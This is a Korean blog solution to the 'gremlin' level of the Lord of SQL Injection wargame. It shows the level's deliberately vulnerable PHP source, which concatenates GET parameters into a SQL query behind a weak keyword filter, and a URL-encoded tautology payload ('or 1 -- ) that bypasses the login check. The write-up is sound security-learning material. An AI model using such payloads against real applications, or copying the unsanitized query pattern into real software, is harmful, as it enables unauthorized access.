WARGAME/Lord of sql injection

LORD OF SQL INJECTION GREMLIN 풀이

msh1307 2022. 5. 13. 00:08

소스 코드


1
2
3
4
5
6
7
8
9
10
11
12
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) solve("gremlin");
  highlight_file(__FILE__);
?>
 
cs

풀이


select id from prob_gremlin where id=' ' and pw=' '라는 쿼리문을 확인할 수 있다.

쿼리문을 만족시키는 id가 존재할때 문제가 풀리게 되어있다.

간단하게 조건문을 만족시키도록 만들어보면, 

select id from prob_gremlin where id ='' and pw='' or 1을 해주면 된다.

get으로 파라미터를 받아오니까 id는 굳이 파라미터를 넘겨줄 필요 없고, pw만 파라미터를 넘겨주면 된다.

?pw=%27or%201%20--%20를 넘겨주면 된다.

그냥 평문으로 입력해도 알아서 인코딩을 해주지만 뒤에 --%20은 url 정규화 과정에서 뒤에 공백이 사라져서 따로 넣어줘야 한다. %27은 '이고, %20은 공백 문자이다.